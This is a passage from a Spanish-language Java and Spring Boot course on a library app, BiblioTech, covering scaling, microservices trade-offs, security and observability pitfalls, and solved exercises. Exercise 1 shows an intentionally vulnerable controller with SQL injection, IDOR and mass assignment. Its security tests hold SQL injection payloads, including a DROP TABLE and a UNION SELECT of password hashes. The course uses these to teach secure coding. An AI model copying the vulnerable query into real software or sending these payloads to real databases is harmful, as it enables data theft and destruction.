- Cómo hacer crecer BiblioTech
Nexus Software crece y BiblioTech tiene que crecer con ella. Cuatro escenarios y cómo se abordarían:
1. Multi-sede. La empresa abre oficinas en Valencia y Lisboa; cada una con su fondo.
// El dominio incorpora la sede como concepto de primera clase
public record Sede(Long id, String nombre, String ciudad, ZoneId zonaHoraria) { }
public class Ejemplar { // NUEVO: separar Material de sus copias físicas
private Material material; // el "qué" (compartido)
private Sede sede; // el "dónde"
private String codigoInterno;
private EstadoEjemplar estado;
}Cuidado con las zonas horarias: las multas se calculan por días, y un día no empieza a la misma hora en Madrid y en Lisboa. El Clock inyectable de 10-05 pasa a ser Clock por sede.
2. Notificaciones por correo de verdad. Ya existe el puerto NotificadorAvisos (12-01), así que es escribir un adaptador nuevo — con dos cuidados: envío asíncrono para no bloquear la petición, y reintentos con retroceso exponencial, porque los servidores SMTP fallan.
@Component
class NotificadorCorreoConReintentos implements NotificadorAvisos {
@Async
@Retryable(retryFor = MailException.class, maxAttempts = 3,
backoff = @Backoff(delay = 2000, multiplier = 3))
public void notificar(Aviso aviso) { … }
@Recover
void alAgotarReintentos(MailException e, Aviso aviso) {
// A una cola de fallidos, para reintento manual. NUNCA perder el aviso en silencio.
repositorioAvisosFallidos.guardar(AvisoFallido.de(aviso, e));
}
}3. Aplicación móvil. No requiere cambios: la API REST de 12-04 ya es su back-end. Lo que sí hay que añadir es lo específico de móvil: notificaciones push, sincronización sin conexión, y paginación por cursor (12-04) porque en móvil se hace desplazamiento infinito.
4. Eventos. BiblioTech ya publica eventos internos con ApplicationEventPublisher (12-02). Cuando otros sistemas de Nexus Software necesiten reaccionar, esos eventos salen a una cola:
@Component
class PublicadorEventosExternos {
@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
public void publicar(MaterialDevuelto evento) {
// Patrón "outbox": guardar el evento en la MISMA transacción que el cambio,
// y publicarlo después desde un proceso aparte.
// Sin esto, un fallo tras el commit pierde el evento.
repositorioSalida.guardar(EventoSalida.de(evento));
}
}El patrón outbox resuelve un problema real: no hay transacción distribuida entre la base de datos y la cola de mensajes, así que guardar el evento en la misma transacción que el cambio es la única forma de garantizar que ambos ocurren o ninguno.
- Cuándo NO trocear en microservicios
Llegado este punto, alguien propondrá dividir BiblioTech en servicio-catalogo, servicio-prestamos, servicio-notificaciones y servicio-informes. Conviene tener claros los costes.
| Aspecto | Monolito modular | Microservicios |
|---|---|---|
| Despliegue | Uno | Uno por servicio |
| Transacciones | ACID de serie | Consistencia eventual, saga |
| Depuración | Una traza de pila | Trazas distribuidas obligatorias |
| Refactorizar entre módulos | El compilador ayuda | Cambio coordinado de contratos |
| Latencia entre componentes | Nanosegundos | Milisegundos, y fallos de red |
| Pruebas de integración | Directas | Contratos, dobles, entornos |
| Escalar una parte | Escalas todo | Solo lo que hace falta |
| Equipos independientes | Coordinación | Autonomía |
| Coste operativo | Bajo | Alto y permanente |
Cuándo NO trocear:
- El equipo tiene menos de 15-20 personas. Con menos, la coordinación no es el cuello de botella.
- No hay problemas de escalado que el escalado horizontal (12-06) no resuelva.
- No hay fronteras de dominio claras. Trocear mal produce un monolito distribuido: los inconvenientes de las dos opciones y las ventajas de ninguna.
- No hay experiencia operativa: observabilidad, despliegue, gestión de fallos parciales.
- La razón es «es lo que se lleva».
Cuándo sí:
- Equipos que se pisan constantemente en el mismo código.
- Una parte con requisitos de escalado radicalmente distintos.
- Necesidad de tecnologías distintas para partes distintas.
- Aislamiento de fallos crítico.
Y el camino intermedio, que es el que casi siempre gana: un monolito modular, que es exactamente lo que BiblioTech es desde 12-01. Módulos con fronteras que el compilador verifica, comunicación por interfaces, y un solo despliegue. Si algún día un módulo necesita salir, sale — y sale fácil, precisamente porque la frontera ya estaba definida.
La recomendación de Martin Fowler, y la más sensata que hay sobre este tema: empieza con un monolito bien modularizado y extrae servicios cuando el dolor lo justifique. Casi nadie ha tenido éxito empezando por microservicios; mucha gente ha tenido éxito extrayéndolos de un monolito que entendía bien.
Errores Comunes y Consejos
1. Guardar contraseñas con SHA-256. Es un buen algoritmo para lo que fue diseñado, y su velocidad —su virtud— es el defecto exacto para contraseñas. BCrypt o Argon2id.
2. JWT de larga duración sin revocación. Un token de 24 horas robado es acceso durante 24 horas. Vigencia corta más token de refresco revocable.
3. Poner datos sensibles en el JWT. No está cifrado. Cualquiera lo lee.
4. Confiar solo en la seguridad de la URL. @PreAuthorize en los servicios también, porque la CLI y las tareas programadas no pasan por los controladores.
5. Olvidar la comprobación de propiedad. Estar autenticado no significa que ese préstamo sea tuyo. Es la vulnerabilidad de control de acceso más frecuente.
6. Métricas con etiquetas de alta cardinalidad. tag("isbn", isbn) crea una serie temporal por ISBN y tumba Prometheus.
7. Registrar cuerpos completos de peticiones. Contraseñas, tokens y datos personales acaban en el agregador durante meses.
8. Alertar sobre causas en vez de sobre síntomas. «CPU alta» se ignora en dos semanas. «El 3 % de las peticiones falla» requiere acción.
9. Alertas sin runbook. A las tres de la mañana, nadie recuerda qué hacer. Enlaza el procedimiento desde la propia alerta.
10. Romper la API sin avisar. Eliminar un campo rompe a todos los clientes. Deprecia con cabeceras, mide el uso y da meses de margen.
11. Actualizar Spring Boot dos versiones mayores de golpe. Sube una menor cada vez, con la suite en verde en cada salto.
12. Trocear en microservicios «porque toca». Sin equipos grandes, fronteras claras y experiencia operativa, es cambiar problemas conocidos por problemas peores.
Consejo final de esta parte: la seguridad y la observabilidad no se añaden al final. Se diseñan desde el principio, aunque se implementen después. BiblioTech pudo añadirlas ahora sin traumas por una razón concreta: tenía arquitectura (12-01), fronteras claras (12-02), errores estructurados (módulo 6), correlación con MDC (11-07) y configuración externa (12-01). En un proyecto sin eso, añadir seguridad y observabilidad es una reescritura.
Ejercicios
Ejercicio 1: cerrar una vulnerabilidad de control de acceso
Este endpoint está en producción en BiblioTech:
@RestController
@RequestMapping("/api/empleados")
public class EmpleadoController {
@GetMapping("/{id}")
public Empleado porId(@PathVariable Long id) {
return repositorio.findById(id).orElseThrow();
}
@GetMapping("/{id}/prestamos")
public List<Prestamo> prestamos(@PathVariable Long id) {
return prestamoRepositorio.findByEmpleadoId(id);
}
@PutMapping("/{id}")
public Empleado actualizar(@PathVariable Long id, @RequestBody Empleado empleado) {
empleado.setId(id);
return repositorio.save(empleado);
}
@GetMapping("/buscar")
public List<Empleado> buscar(@RequestParam String nombre) {
return em.createQuery("select e from Empleado e where e.nombre like '%" + nombre + "%'",
Empleado.class).getResultList();
}
}Identifica todas las vulnerabilidades (hay al menos siete), clasifícalas por gravedad y reescribe el controlador de forma segura, con las pruebas de seguridad correspondientes.
Ejercicio 2: métricas y alertas de una funcionalidad nueva
BiblioTech incorpora la renovación automática: los préstamos que vencen y no tienen reservas pendientes se renuevan solos cada noche.
Diseña la observabilidad completa:
- Qué métricas instrumentar (nombre, tipo, etiquetas) y por qué.
- Qué se registra y en qué nivel.
- Tres alertas útiles, con su expresión PromQL, su umbral justificado y su acción.
- Los paneles del cuadro de mando.
- Cómo detectarías que la funcionalidad ha dejado de ejecutarse sin que nadie se entere.
Ejercicio 3: plan de evolución de la API
BiblioTech v1 tiene este endpoint, consumido por la app móvil, la intranet y un sistema de recursos humanos:
GET /api/v1/prestamos/42
{
"id": 42,
"isbn": "978-0000000001",
"empleado": "Marta Ruiz",
"vencimiento": "2026-08-20",
"devuelto": false,
"multa": 0
}Se necesita v2 con: empleado como objeto ({id, nombre, correo}), devuelto sustituido por estado (enumerado), multa como objeto ({importe, moneda}), y campos nuevos renovable y diasRestantes.
Escribe el plan completo de migración: estrategia de versionado, cómo conviven las dos versiones, cronograma de depreciación, cómo mides quién sigue en v1, la comunicación a los clientes y el código de ambas versiones.
Soluciones
Solución 1
Vulnerabilidades identificadas (nueve):
| # | Vulnerabilidad | Gravedad | Impacto |
|---|---|---|---|
| 1 | Inyección SQL en /buscar |
Crítica | Lectura y modificación de toda la base de datos |
| 2 | Sin autenticación en ningún endpoint | Crítica | Acceso público a datos personales |
| 3 | IDOR en /{id} y /{id}/prestamos |
Crítica | Cualquiera ve los datos de cualquiera |
| 4 | Asignación masiva en PUT con entidad |
Crítica | Cambiar rol, hashContrasena o version |
| 5 | Exposición de entidad JPA | Alta | El JSON incluye el hash de la contraseña |
| 6 | PUT sin comprobar autorización |
Alta | Cualquiera modifica a cualquiera |
| 7 | orElseThrow() sin excepción específica |
Media | NoSuchElementException → 500 en vez de 404 |
| 8 | Sin paginación en /buscar |
Media | Denegación de servicio con una búsqueda amplia |
| 9 | Sin límite de longitud en nombre |
Baja | Consultas costosas |
Reescritura completa:
@RestController
@RequestMapping("/api/v1/empleados")
@Validated
@Tag(name = "Empleados")
public class EmpleadoController {
private final ServicioEmpleados servicio;
private final GestionarPrestamos prestamos;
// ---------------------------------------------------------------
// Consulta de un empleado: o eres tú, o eres ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmpleadoResponse porId(@PathVariable Long id) {
return servicio.buscarPorId(id)
.map(EmpleadoResponse::desde) // DTO: sin hash de contraseña, sin rol interno
.orElseThrow(() -> new EmpleadoNoEncontradoException(id)); // → 404
}
// ---------------------------------------------------------------
// Préstamos: propios, o BIBLIOTECARIO/ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}/prestamos")
@PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARIO','ADMIN')")
public PageResponse<PrestamoResponse> prestamosDe(
@PathVariable Long id,
@RequestParam(required = false) EstadoPrestamo estado,
@PageableDefault(size = 20, sort = "fechaPrestamo",
direction = Sort.Direction.DESC) Pageable paginacion) {
if (!servicio.existe(id)) throw new EmpleadoNoEncontradoException(id);
return PageResponse.desde(
prestamos.deEmpleado(id, estado, paginacion).map(PrestamoResponse::desde));
}
// ---------------------------------------------------------------
// Actualización: DTO cerrado, nunca la entidad
// ---------------------------------------------------------------
@PutMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmpleadoResponse actualizar(@PathVariable Long id,
@Valid @RequestBody ActualizarEmpleadoRequest peticion) {
// El DTO SOLO tiene los campos modificables.
// Es IMPOSIBLE enviar rol, hashContrasena, version o id.
return EmpleadoResponse.desde(servicio.actualizar(id, peticion));
}
// ---------------------------------------------------------------
// Cambio de rol: endpoint SEPARADO, solo ADMIN, auditado
// ---------------------------------------------------------------
@PutMapping("/{id}/rol")
@PreAuthorize("hasRole('ADMIN')")
@Auditado(accion = "CAMBIAR_ROL")
public EmpleadoResponse cambiarRol(@PathVariable Long id,
@Valid @RequestBody CambiarRolRequest peticion) {
return EmpleadoResponse.desde(servicio.cambiarRol(id, peticion.rol()));
}
// ---------------------------------------------------------------
// Búsqueda: parametrizada, paginada, con longitud limitada
// ---------------------------------------------------------------
@GetMapping("/buscar")
@PreAuthorize("hasAnyRole('BIBLIOTECARIO','ADMIN')")
public PageResponse<EmpleadoResumenResponse> buscar(
@RequestParam @Size(min = 2, max = 100) String nombre,
@PageableDefault(size = 20) Pageable paginacion) {
return PageResponse.desde(
servicio.buscarPorNombre(nombre, paginacion) // consulta PARAMETRIZADA
.map(EmpleadoResumenResponse::desde)); // resumen: menos datos aún
}
}Los DTOs, que son donde reside la defensa estructural:
/** Salida: solo lo que este endpoint debe revelar. */
public record EmpleadoResponse(Long id, String nombre, String correo,
String departamento, LocalDate fechaAlta) {
// SIN hashContrasena, SIN rol, SIN version, SIN datos internos
public static EmpleadoResponse desde(Empleado e) {
return new EmpleadoResponse(e.getId(), e.getNombre(), e.getCorreo(),
e.getDepartamento(), e.getFechaAlta());
}
}
/** Resumen para listados: aún menos información. */
public record EmpleadoResumenResponse(Long id, String nombre, String departamento) { }
/** Entrada: SOLO los campos que el usuario puede cambiar de sí mismo. */
public record ActualizarEmpleadoRequest(
@NotBlank @Size(max = 150) String nombre,
@NotBlank @Email @Size(max = 200) String correo,
@Size(max = 100) String departamento) {
// Ni id, ni rol, ni contraseña, ni version. Estructuralmente imposible.
}
public record CambiarRolRequest(@NotNull Rol rol) { }Y la consulta segura:
public interface EmpleadoRepository extends JpaRepository<Empleado, Long> {
/** Parametrizada: el valor NUNCA se interpreta como SQL. */
@Query("""
select e from Empleado e
where lower(e.nombre) like lower(concat('%', :nombre, '%'))
""")
Page<Empleado> buscarPorNombre(@Param("nombre") String nombre, Pageable paginacion);
}Pruebas de seguridad, que son las que impiden que la vulnerabilidad vuelva:
@WebMvcTest(EmpleadoController.class)
@Import(ConfiguracionSeguridad.class)
class EmpleadoControllerSeguridadTest {
@Autowired MockMvc mvc;
@MockitoBean ServicioEmpleados servicio;
@Test
void sinAutenticacionDevuelve401() throws Exception {
mvc.perform(get("/api/v1/empleados/1"))
.andExpect(status().isUnauthorized());
}
@Test
@WithMockUser(username = "2", roles = "EMPLEADO")
void unEmpleadoNoPuedeVerLosDatosDeOtro() throws Exception {
mvc.perform(get("/api/v1/empleados/1")) // el usuario 2 pide los datos del 1
.andExpect(status().isForbidden()); // ← el IDOR está cerrado
}
@Test
@WithMockUser(username = "1", roles = "EMPLEADO")
void unEmpleadoSiPuedeVerSusPropiosDatos() throws Exception {
when(servicio.buscarPorId(1L)).thenReturn(Optional.of(unEmpleado(1L, "Marta Ruiz")));
mvc.perform(get("/api/v1/empleados/1"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.nombre").value("Marta Ruiz"))
// Comprobar EXPLÍCITAMENTE que no se filtra nada
.andExpect(jsonPath("$.hashContrasena").doesNotExist())
.andExpect(jsonPath("$.rol").doesNotExist())
.andExpect(jsonPath("$.version").doesNotExist());
}
@Test
@WithMockUser(username = "1", roles = "EMPLEADO")
void noSePuedeEscalarPrivilegiosEnLaActualizacion() throws Exception {
// Intento de asignación masiva: enviar campos que el DTO no tiene
mvc.perform(put("/api/v1/empleados/1")
.contentType(MediaType.APPLICATION_JSON)
.content("""
{"nombre":"Marta Ruiz","correo":"[email protected]",
"rol":"ADMIN","hashContrasena":"loquesea","id":999}"""))
.andExpect(status().isOk());
// Los campos maliciosos se IGNORAN: el DTO no los tiene
ArgumentCaptor<ActualizarEmpleadoRequest> captor =
ArgumentCaptor.forClass(ActualizarEmpleadoRequest.class);
verify(servicio).actualizar(eq(1L), captor.capture());
assertThat(captor.getValue().nombre()).isEqualTo("Marta Ruiz");
// No hay forma de que 'rol' haya llegado al servicio
}
@ParameterizedTest
@ValueSource(strings = {
"'; DROP TABLE empleado; --",
"' OR '1'='1",
"%' UNION SELECT hash_contrasena FROM empleado --"
})
@WithMockUser(roles = "BIBLIOTECARIO")
void laBusquedaEsInmuneAInyeccionSql(String cargaMaliciosa) throws Exception {
when(servicio.buscarPorNombre(anyString(), any())).thenReturn(Page.empty());
mvc.perform(get("/api/v1/empleados/buscar").param("nombre", cargaMaliciosa))
.andExpect(status().isOk())
.andExpect(jsonPath("$.contenido").isEmpty());
// La carga llega como VALOR literal al repositorio, no como SQL
verify(servicio).buscarPorNombre(eq(cargaMaliciosa), any());
}
@Test
@WithMockUser(username = "1", roles = "EMPLEADO")
void unEmpleadoNoPuedeCambiarRoles() throws Exception {
mvc.perform(put("/api/v1/empleados/1/rol")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"rol\":\"ADMIN\"}"))
.andExpect(status().isForbidden());
}
}Solución 2
Métricas:
| Métrica | Tipo | Etiquetas | Por qué |
|---|---|---|---|
bibliotech.renovacion_auto.ejecuciones |
Counter | resultado (exito, fallo) |
¿Se ejecuta el proceso? |
bibliotech.renovacion_auto.duracion |
Timer | — | ¿Está degradándose? |
bibliotech.renovacion_auto.candidatos |
Gauge | — | ¿Cuántos préstamos evalúa? |
bibliotech.renovacion_auto.renovados |
Counter | tipo_material |
El resultado útil |
bibliotech.renovacion_auto.omitidos |
Counter | motivo |
La más informativa |
bibliotech.renovacion_auto.ultima_ejecucion |
Gauge | — | Marca de tiempo: detecta que dejó de correr |
La clave está en omitidos con etiqueta motivo (con reservas, ya renovado, empleado con multas, material retirado): si un motivo se dispara, hay un cambio de comportamiento que ninguna métrica agregada revelaría.
@Service
public class RenovacionAutomatica {
private static final Logger log = LoggerFactory.getLogger(RenovacionAutomatica.class);
private final MeterRegistry registro;
private final AtomicLong ultimaEjecucion = new AtomicLong(0);
@PostConstruct
void registrarGauges() {
Gauge.builder("bibliotech.renovacion_auto.ultima_ejecucion", ultimaEjecucion, AtomicLong::get)
.description("Marca de tiempo Unix de la última ejecución correcta")
.register(registro);
}
@Scheduled(cron = "0 0 3 * * *")
@SchedulerLock(name = "renovacionAutomatica", lockAtMostFor = "30m") // 12-06
public void ejecutar() {
Timer.Sample muestra = Timer.start(registro);
MDC.put("proceso", "renovacion-automatica");
MDC.put("traceId", UUID.randomUUID().toString());
int renovados = 0;
Map<String, Integer> omitidos = new HashMap<>();
try {
List<Prestamo> candidatos = repositorio.venceenEn(1);
registro.gauge("bibliotech.renovacion_auto.candidatos", candidatos.size());
log.info("Renovación automática iniciada: {} candidatos", candidatos.size());
for (Prestamo p : candidatos) {
Optional<String> motivo = motivoParaNoRenovar(p);
if (motivo.isPresent()) {
omitidos.merge(motivo.get(), 1, Integer::sum);
registro.counter("bibliotech.renovacion_auto.omitidos",
"motivo", motivo.get()).increment();
// DEBUG: es el caso normal, no debe llenar el log
log.debug("Préstamo {} omitido: {}", p.getId(), motivo.get());
continue;
}
gestor.renovar(p.getId(), null);
renovados++;
registro.counter("bibliotech.renovacion_auto.renovados",
"tipo_material", p.tipoMaterial().name()).increment();
}
ultimaEjecucion.set(Instant.now().getEpochSecond());
registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "exito")
.increment();
// INFO: una línea con el RESUMEN. Es lo que un operador querría ver (11-07).
log.info("Renovación automática completada: {} candidatos, {} renovados, omitidos={}",
candidatos.size(), renovados, omitidos);
} catch (Exception e) {
registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "fallo")
.increment();
log.error("Renovación automática fallida tras renovar {}", renovados, e);
throw e;
} finally {
muestra.stop(registro.timer("bibliotech.renovacion_auto.duracion"));
MDC.clear(); // regla de 11-07
}
}
}Las tres alertas:
# ALERTA 1: el proceso ha dejado de ejecutarse.
# La MÁS IMPORTANTE, porque es un fallo SILENCIOSO: nada da error,
# simplemente los préstamos dejan de renovarse y nadie se entera
# hasta que empiezan a llegar multas indebidas.
- alert: RenovacionAutomaticaNoEjecutada
expr: (time() - bibliotech_renovacion_auto_ultima_ejecucion) > 93600 # 26 horas
for: 10m
labels: { severidad: alta }
annotations:
summary: "La renovación automática no se ejecuta desde hace {{ $value | humanizeDuration }}"
accion: |
1. ¿Existe el CronJob/planificador? kubectl get cronjob bibliotech-renovacion
2. ¿Hay un bloqueo de ShedLock atascado? select * from shedlock where name='renovacionAutomatica'
3. Ejecutar manualmente: bibliotech prestamo renovar-automatico --simular
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacion-auto"
# ALERTA 2: se ejecuta pero falla
- alert: RenovacionAutomaticaFallando
expr: increase(bibliotech_renovacion_auto_ejecuciones_total{resultado="fallo"}[25h]) > 0
for: 5m
labels: { severidad: alta }
annotations:
summary: "La renovación automática ha fallado"
accion: "Buscar en los logs: proceso=renovacion-automatica level=ERROR"
# ALERTA 3: cambio brusco de comportamiento.
# Detecta que una regla se ha roto: por ejemplo, un bug que hace que
# TODO se omita por 'con_reservas' cuando antes no ocurría.
- alert: RenovacionAutomaticaComportamientoAnomalo
expr: |
(sum(increase(bibliotech_renovacion_auto_renovados_total[25h]))
/ sum(increase(bibliotech_renovacion_auto_candidatos[25h]))) < 0.2
and sum(increase(bibliotech_renovacion_auto_candidatos[25h])) > 20
for: 30m
labels: { severidad: media }
annotations:
summary: "Solo se renueva el {{ $value | humanizePercentage }} de los candidatos"
descripcion: "Revisa la distribución de bibliotech_renovacion_auto_omitidos por motivo"Paneles del cuadro de mando:
| Panel | Consulta | Tipo |
|---|---|---|
| Última ejecución | time() - bibliotech_renovacion_auto_ultima_ejecucion |
Estadística con umbral |
| Renovados por día | increase(bibliotech_renovacion_auto_renovados_total[1d]) |
Barras |
| Omitidos por motivo | sum(increase(...omitidos_total[1d])) by (motivo) |
Barras apiladas |
| Tasa de renovación | renovados / candidatos |
Medidor |
| Duración | bibliotech_renovacion_auto_duracion_seconds |
Serie temporal |
Cómo detectar que dejó de ejecutarse — el punto central del ejercicio. Hay tres enfoques, y solo uno funciona bien:
| Enfoque | Problema |
|---|---|
| Alerta si el contador no crece | Un día sin candidatos es normal: falso positivo |
| Alerta si hay un error | Si el proceso no se lanza, no hay error que registrar |
| Gauge con la marca de tiempo de la última ejecución | ✅ Funciona: es dead man's switch |
La técnica se llama interruptor de hombre muerto: en lugar de alertar cuando algo va mal, se alerta cuando deja de llegar la señal de que todo va bien. Es el único patrón que detecta que un proceso ha desaparecido, y se aplica igual a tareas programadas, a copias de seguridad y a cualquier proceso periódico.
Solución 3
Estrategia: versión en la URI, /api/v1/ y /api/v2/ conviviendo.
Cronograma:
| Fecha | Hito |
|---|---|
| 2026-09-01 | v2 publicada; v1 marcada como obsoleta con cabeceras |
| 2026-09-01 | Guía de migración, documentación y métricas de uso de v1 |
| 2026-10-01 | Primer aviso a los clientes con uso medido |
| 2027-01-01 | Aviso final (1 mes) a quien siga en v1 |
| 2027-02-01 | v1 retirada: 410 Gone con enlace a v2 |
Cinco meses de margen, que es el mínimo razonable con tres clientes de los cuales uno (recursos humanos) no controlas.
Código de las dos versiones, compartiendo el mismo caso de uso:
// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestamos")
@Tag(name = "Préstamos v1", description = "OBSOLETA — se retira el 2027-02-01")
public class PrestamoControllerV1 {
private final GestionarPrestamos gestor; // el MISMO caso de uso que v2
private final MeterRegistry registro;
@GetMapping("/{id}")
@Deprecated(since = "2.0.0", forRemoval = true)
@Operation(deprecated = true, summary = "[OBSOLETO] Usa GET /api/v2/prestamos/{id}")
public ResponseEntity<PrestamoResponseV1> porId(
@PathVariable Long id,
@RequestHeader(value = "X-Cliente", defaultValue = "desconocido") String cliente) {
// Medir QUIÉN sigue usando v1: sin esto, retirarla es una apuesta
registro.counter("bibliotech.api.v1.uso", "cliente", cliente, "endpoint", "prestamo_por_id")
.increment();
Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));
return ResponseEntity.ok()
.header("Deprecation", "@1756684800") // RFC 8594: epoch
.header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
.header("Link", "</api/v2/prestamos/" + id + ">; rel=\"successor-version\", "
+ "<https://docs.nexussoftware.com/bibliotech/migracion-v2>; rel=\"deprecation\"")
.header("Warning", "299 - \"Esta versión de la API se retirará el 2027-02-01\"")
.body(PrestamoResponseV1.desde(prestamo));
}
}
/** DTO de v1: se CONGELA. No se le añade ni se le quita nada nunca más. */
public record PrestamoResponseV1(Long id, String isbn, String empleado,
LocalDate vencimiento, boolean devuelto, BigDecimal multa) {
public static PrestamoResponseV1 desde(Prestamo p) {
return new PrestamoResponseV1(
p.getId(), p.getIsbn().valor(), p.nombreDelEmpleado(),
p.getFechaVencimiento(),
p.getFechaDevolucion().isPresent(),
p.multaAcumulada(LocalDate.now()).importe());
}
}// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestamos")
@Tag(name = "Préstamos")
public class PrestamoControllerV2 {
@GetMapping("/{id}")
public PrestamoResponseV2 porId(@PathVariable Long id) {
Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));
return PrestamoResponseV2.desde(prestamo, LocalDate.now(reloj));
}
}
public record PrestamoResponseV2(
Long id,
String isbn,
EmpleadoResumen empleado, // objeto, no cadena
LocalDate fechaPrestamo,
LocalDate fechaVencimiento,
LocalDate fechaDevolucion,
EstadoPrestamo estado, // enumerado, no booleano
Importe multa, // objeto con moneda
boolean renovable, // NUEVO
long diasRestantes) { // NUEVO
public record EmpleadoResumen(Long id, String nombre, String correo) { }
public record Importe(BigDecimal importe, String moneda) { }
public static PrestamoResponseV2 desde(Prestamo p, LocalDate hoy) {
return new PrestamoResponseV2(
p.getId(), p.getIsbn().valor(),
new EmpleadoResumen(p.getIdEmpleado(), p.nombreDelEmpleado(), p.correoDelEmpleado()),
p.getFechaPrestamo(), p.getFechaVencimiento(),
p.getFechaDevolucion().orElse(null),
p.getEstado(),
new Importe(p.multaAcumulada(hoy).importe(), "EUR"),
p.getEstado().permiteRenovar(),
ChronoUnit.DAYS.between(hoy, p.getFechaVencimiento()));
}
}La retirada, que deja un rastro útil en vez de un 404 desconcertante:
@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {
@RequestMapping("/**")
public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticion) {
ProblemDetail detalle = ProblemDetail.forStatusAndDetail(
HttpStatus.GONE, // 410, no 404: "existió y se eliminó a propósito"
"La versión 1 de la API se retiró el 2027-02-01. Migra a /api/v2.");
detalle.setTitle("Versión de API retirada");
detalle.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracion-v2"));
detalle.setProperty("versionActual", "v2");
detalle.setProperty("guiaMigracion", "https://docs.nexussoftware.com/bibliotech/migracion-v2");
return ResponseEntity.status(HttpStatus.GONE)
.header("Link", "</api/v2>; rel=\"successor-version\"")
.body(detalle);
}
}Medición de quién sigue en v1:
# Uso de v1 por cliente en los últimos 7 días
sum(increase(bibliotech_api_v1_uso_total[7d])) by (cliente)
# Porcentaje de tráfico que sigue en v1
sum(rate(bibliotech_api_v1_uso_total[1d]))
/ (sum(rate(bibliotech_api_v1_uso_total[1d])) + sum(rate(bibliotech_api_v2_uso_total[1d])))- alert: UsoDeV1TrasFechaDeRetirada
expr: sum(increase(bibliotech_api_v1_uso_total[1d])) by (cliente) > 0
labels: { severidad: media }
annotations:
summary: "El cliente {{ $labels.cliente }} sigue usando la API v1"
accion: "Contactar antes del 2027-02-01"Comunicación a los clientes:
# Migración de la API de BiblioTech: v1 → v2
**La v1 se retirará el 1 de febrero de 2027.**
## Qué cambia
| Campo v1 | Campo v2 | Cambio |
|---|---|---|
| `empleado` (cadena) | `empleado.nombre` | Ahora es un objeto con `id`, `nombre` y `correo` |
| `vencimiento` | `fechaVencimiento` | Renombrado |
| `devuelto` (booleano) | `estado` (enumerado) | `ACTIVO`, `RENOVADO`, `VENCIDO`, `DEVUELTO`, `PERDIDO` |
| `multa` (número) | `multa.importe` + `multa.moneda` | Objeto con moneda explícita |
| — | `renovable` | **Nuevo** |
| — | `diasRestantes` | **Nuevo** |
| — | `fechaPrestamo`, `fechaDevolucion` | **Nuevos** |
## Equivalencias
// v1 const estaDevuelto = respuesta.devuelto; const nombre = respuesta.empleado; const multa = respuesta.multa;
// v2 const estaDevuelto = respuesta.estado === 'DEVUELTO'; const nombre = respuesta.empleado.nombre; const multa = respuesta.multa.importe;
## Cronograma - **2026-09-01**: v2 disponible. v1 obsoleta (funciona con normalidad). - **2027-01-01**: aviso final. - **2027-02-01**: v1 retirada. Devolverá `410 Gone`. ## Ayuda [email protected] — o abre una incidencia en el repositorio.
Y una decisión de diseño que merece señalarse: v1 y v2 comparten el mismo caso de uso (GestionarPrestamos). Solo cambian los DTOs y los controladores. Sin la arquitectura de 12-01, mantener dos versiones significaría duplicar la lógica de negocio, y de ahí a que las dos versiones se comporten distinto hay un paso.
Conclusión: cierre del curso
El viaje de BiblioTech, módulo a módulo
Doce módulos atrás, BiblioTech no existía. Esta tabla es el viaje completo:
| Módulo | BiblioTech al empezar | BiblioTech al terminar |
|---|---|---|
| 1. Introducción a Java | Nada. Ni un fichero | Un programa que compila y se ejecuta: variables, tipos, operadores, entrada por consola con Scanner, salida con printf. Un primer catálogo de tres libros con sus datos |
| 2. Flujo de Control | Un programa lineal que solo ejecuta instrucciones en orden | Un menú interactivo con condicionales, bucles, switch y validación de entrada. Y la capacidad de depurarlo paso a paso en lugar de adivinar |
| 3. POO | Variables sueltas y métodos estáticos | Objetos: Material, Libro, Empleado, Prestamo con estado y comportamiento propios. Herencia, polimorfismo, encapsulamiento, abstracción y equals/hashCode/toString bien hechos |
| 4. POO Avanzada | Jerarquías de clases y poco más | Contratos: interfaces Prestable y Notificable, clases abstractas, lambdas, interfaces funcionales, referencias a métodos, enum con comportamiento y record para los datos inmutables |
| 5. Colecciones | Arreglos de tamaño fijo | Todo el framework de colecciones: listas, mapas, conjuntos, colas, pilas. Ordenación con Comparator, búsquedas, y una pila de deshacer |
| 6. Excepciones | Fallos que abortaban el programa con una traza | Una jerarquía propia BiblioTechException, try-with-resources, estrategias por capas, frontera de errores y logging |
| 7. Archivos | Todo en memoria: se perdía al cerrar | Persistencia: E/S clásica, NIO.2, serialización, un catálogo en CSV y configuración en Properties. Los datos sobreviven al proceso |
| 8. Concurrencia | Una sola cosa a la vez | Hilos, synchronized, ExecutorService, colecciones concurrentes y CompletableFuture. La importación del catálogo pasó de minutos a segundos |
| 9. Redes | Un programa aislado en una máquina | Comunicación: un ServidorCatalogo multicliente con sockets, UDP, y un cliente HTTP consultando metadatos externos |
| 10. Temas Avanzados | Java 8 usado a medias | Java 21 de verdad: genéricos, anotaciones propias, reflexión y proxies dinámicos, Streams y Optional, java.time con Clock inyectable, sealed, pattern matching, hilos virtuales, y medición real de memoria y rendimiento |
| 11. Frameworks | Todo escrito a mano, incluido un contenedor de dependencias casero | El ecosistema: proyecto Maven, Spring Boot con IoC y AOP, JPA/Hibernate sobre base de datos, 41 pruebas con JUnit 5 y Mockito, Jackson, Lombok y SLF4J con MDC |
